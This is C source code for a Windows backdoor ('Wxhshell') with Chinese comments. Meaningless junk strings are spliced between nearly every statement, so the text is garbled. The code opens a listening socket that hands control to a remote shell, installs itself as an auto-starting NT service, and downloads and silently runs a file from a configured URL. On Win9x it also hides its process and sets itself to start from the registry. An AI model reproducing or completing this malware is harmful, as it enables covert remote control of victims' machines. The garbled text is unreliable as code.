O GMm'of# // 主模块 A5XR3$5P int StartWxhshell(LPSTR lpCmdLine) r1Z<:}ZwK { r)b<{u=] SOCKET wsl; {?i)K X^ BOOL val=TRUE; a)S7}0|R int port=0; C) .2gQ
G struct sockaddr_in door; ce' TYkPM 0JXqhc9' if(wscfg.ws_autoins) Install(); TpP8=8_Lh ]yLhJ_^ port=atoi(lpCmdLine); 9=$!gC) bk3Unreh if(port<=0) port=wscfg.ws_port; kG^dqqn6 U9#WN.noG WSADATA data; Y=Hz;Ni if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0M8.U ~ E *d G if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z+3 9ee setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R2LK.bTVn door.sin_family = AF_INET; Y&~M7TY b door.sin_addr.s_addr = inet_addr("127.0.0.1"); s'L?;:)dyB door.sin_port = htons(port); wPnybb{ *{5>XH{
x if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
Oh`2tc- closesocket(wsl); (X}@^]lpa return 1; T~s}N x# } yVS\Q,:J9 FT/amCRyT if(listen(wsl,2) == INVALID_SOCKET) { HC7JMj closesocket(wsl); cOku1g8 return 1; 70Ka! } 1S%}xsR0 Wxhshell(wsl); "s]y!BLk WSACleanup(); >&Fa(o;* NHiq^ojk return 0; m mw-a0 6c<ezEJ } Q6^x8 6fwY$K\X // 以NT服务方式启动 >n!ni( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~HDdO3 { Np)aS[9W DWORD status = 0; dWR1cvB(wY DWORD specificError = 0xfffffff; _/ Os^ >R >.LKct*5K serviceStatus.dwServiceType = SERVICE_WIN32; l`gTU?<xd serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]}LGbv"`A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xjq0D[ serviceStatus.dwWin32ExitCode = 0; Vz w PBQ - serviceStatus.dwServiceSpecificExitCode = 0; @2' %o<lF serviceStatus.dwCheckPoint = 0; {4rQ7J4Ux serviceStatus.dwWaitHint = 0; jJ++h1
K Z$;"8XUM hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F~_;o+e;X if (hServiceStatusHandle==0) return; ;V.vfar
yP\Up status = GetLastError(); ("Dv>&w9 if (status!=NO_ERROR) @Fx@5e { FA$zZs10\ serviceStatus.dwCurrentState = SERVICE_STOPPED; EOVZGZF serviceStatus.dwCheckPoint = 0; b3U6;]|x serviceStatus.dwWaitHint = 0; X\sm[_I serviceStatus.dwWin32ExitCode = status; V(mnyI serviceStatus.dwServiceSpecificExitCode = specificError; +Me2U9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); (@&I_>2Q return; x /
XkD]Hq } 9P"iuU 2)\vj5<~$ serviceStatus.dwCurrentState = SERVICE_RUNNING; t(?<#KUB- serviceStatus.dwCheckPoint = 0; 7+XM3 serviceStatus.dwWaitHint = 0; gfo}I2" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'sU)|W(3U } )5yj/0oT 4}yE+dRUK: // 处理NT服务事件,比如:启动、停止 G)7)]yBL VOID WINAPI NTServiceHandler(DWORD fdwControl) 9
5 H?{ { P5URvEnz: switch(fdwControl) Q_4Zb { OE"<!oIs case SERVICE_CONTROL_STOP: ((MLM3zJ serviceStatus.dwWin32ExitCode = 0; PXEKV0y serviceStatus.dwCurrentState = SERVICE_STOPPED; V5MO} serviceStatus.dwCheckPoint = 0; ybvI?# serviceStatus.dwWaitHint = 0; $qm~c[x% { c8ZCs? SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8H
$ #+^lW } DO^y;y> return; >q(6,Mmb case SERVICE_CONTROL_PAUSE: xm^95}80yh serviceStatus.dwCurrentState = SERVICE_PAUSED; h%1Y6$ break;
+ld;k/ case SERVICE_CONTROL_CONTINUE: Hed$ytMaGz serviceStatus.dwCurrentState = SERVICE_RUNNING; *not.2+ break; V}9;eJRvw case SERVICE_CONTROL_INTERROGATE: s4t0f_vj` break; E`AYee%l }; 1K[(ou'rl SetServiceStatus(hServiceStatusHandle, &serviceStatus); 25em[Q:
} ~A >oO-0K )H+kB<n // 标准应用程序主函数 xzikD,FV int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wk ikD { <t}? $1 u!1/B4!'O // 获取操作系统版本 B8~=RmWLl OsIsNt=GetOsVer(); *K)0UKBr GetModuleFileName(NULL,ExeFile,MAX_PATH); 4e9E'
"8% bUvK // 从命令行安装 l)8sw= if(strpbrk(lpCmdLine,"iI")) Install(); zM59UQU; abWl ut // 下载执行文件 Sdc*rpH"( if(wscfg.ws_downexe) { D/s?i[lb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2R`u[ WinExec(wscfg.ws_filenam,SW_HIDE); ?,% TU&Yn } 0Q1/ n2V (=JueF@J if(!OsIsNt) { ( u f5\}x // 如果时win9x,隐藏进程并且设置为注册表启动 kaFnw(xa HideProc(); 8"M<{72U] StartWxhshell(lpCmdLine); C EqZ:c } r~oSP^e' else afm_ Rrg[ if(StartFromService()) 'h}7YP, w // 以服务方式启动 93D
\R StartServiceCtrlDispatcher(DispatchTable); kZ[mM'u# else ]^@0+! // 普通方式启动 e@j8T
gI) StartWxhshell(lpCmdLine); #:{6b*} @ER1zKK? return 0; >&hX&,hG }
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